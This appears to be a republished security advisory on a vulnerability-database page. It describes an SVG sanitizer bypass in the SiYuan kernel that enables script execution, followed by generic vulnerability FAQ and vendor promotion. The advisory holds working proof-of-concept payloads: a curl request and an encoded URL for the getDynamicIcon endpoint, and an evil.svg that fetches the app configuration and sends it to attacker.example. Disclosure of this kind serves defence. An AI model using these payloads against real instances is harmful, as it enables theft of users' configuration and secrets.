SiYuan cleans user supplied SVG with util.SanitizeSVG before it serves the file inline as image/svg+xml. This cleaner is the guard behind the Editor.AllowSVGScript setting, which is off by default, so a <script> inside an SVG is meant to be removed.
The cleaner reads the input as HTML, but the browser reads the served file as XML (SVG). Because the two parsers treat some tags differently, a <script> can be hidden so the cleaner never removes it. The cleaned file still holds a working script. When a browser opens that file as an SVG document, the script runs in the app origin. There is no Content Security Policy in the product to stop it.
The same bug can be reached in two ways. Both share one root cause (the cleaner), so one fix in the cleaner closes both:
GET /api/icon/getDynamicIcon.svg asset: GET /assets/<name>.svgI confirmed this on a live SiYuan 3.7.2 kernel.
util.SanitizeSVG (kernel/util/misc.go:319) parses the string with an HTML parser, walks the element nodes to drop <script>, <iframe>, <foreignobject>, event handler attributes and so on, then renders it back and cuts out the <svg>...</svg> part.
The gap comes from HTML parsing rules that do not exist in XML:
<desc> and <title> are HTML integration points. Inside them the HTML parser switches back to normal HTML mode. The cleaner drops <foreignObject> but keeps <desc> and <title>.<style>, <xmp> and <noscript> are raw text elements. Their contents are read as plain text, not as child nodes. So the cleaner never sees a <script> placed inside them, and the render step writes it back exactly as it was.<style> becomes a normal container and the hidden <script> becomes a real, working SVG script node.I checked this by building and running the real SanitizeSVG. A plain <script> under <svg> is removed, but wrapping it in <desc><style> lets it pass through untouched:
IN : <svg><script>alert(1)</script></svg>
OUT: <svg></svg> (removed)
IN : <svg><desc><style><script>alert(1)</script></style></desc></svg>
OUT: <svg><desc><style><script>alert(1)</script></style></desc></svg> (kept, runs)
Two places serve SVG through this cleaner, and both only require CheckAuth, which allows Administrator, Editor and Reader roles:
kernel/server/serve.go:703 serveSVG serves an asset inline as image/svg+xml.kernel/api/icon.go:158 getDynamicIcon. For type=8 the content query value is put straight into the SVG template at icon.go:583 with no escaping, then cleaned, then served as image/svg+xml.The content value in getDynamicIcon is reflected as is and survives the cleaner. A signed in user only has to open one link.
curl -sk -G 'http://127.0.0.1:6806/api/icon/getDynamicIcon' \
--data-urlencode 'type=8' \
--data-urlencode 'content=</text><desc><style><script>alert(document.domain)</script></style></desc><text>'
The response is HTTP/1.1 200 OK, Content-Type: image/svg+xml, and the body holds a live script:
<text ...></text><desc><style><script>alert(document.domain)</script></style></desc><text></text>
Open this in a browser as a signed in user (or on an instance with no lock screen code) to see it run:
http://<host>:6806/api/icon/getDynamicIcon?type=8&content=%3C%2Ftext%3E%3Cdesc%3E%3Cstyle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%2Fstyle%3E%3C%2Fdesc%3E%3Ctext%3E
Place this file as data/assets/evil.svg:
<svg xmlns="http://www.w3.org/2000/svg"><desc><style><script>
fetch('/api/system/getConf',{method:'POST'}).then(r=>r.text())
.then(t=>{new Image().src='https://attacker.example/?'+encodeURIComponent(t)});
</script></style></desc></svg>
Then open /assets/evil.svg. The script runs. The asset can arrive by admin upload, or by a lower trust path such as an imported template, a .sy.zip, or a synced asset that carries a booby trapped SVG.
Note for both vectors: an SVG script runs on direct navigation, <iframe>, <embed> or <object>. It does not run when the SVG is loaded through an <img> tag, so open the link directly or embed it in a frame.
AllowSVGScript=false exists to stop SVG scripts, and this bypass removes that protection. There is no CSP as a backup.<desc>, <title> and <foreignObject> and any raw text smuggled markup.Content-Disposition: attachment and a non running content type, and add a strict script-src CSP on /assets/* and /api/icon/getDynamicIcon.content value in getDynamicIcon before it goes into the template.| Software | Affected versions |
|---|---|
github.com/siyuan-note/siyuan/kernel
|
< 0.0.0-20260714095344-f08dee71ba8e |
A vulnerability database tells you what is broken. Attack surface management tells you where it is running: it discovers your internet-facing assets and flags the ones affected by issues like this one.
What is attack surface management? →A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.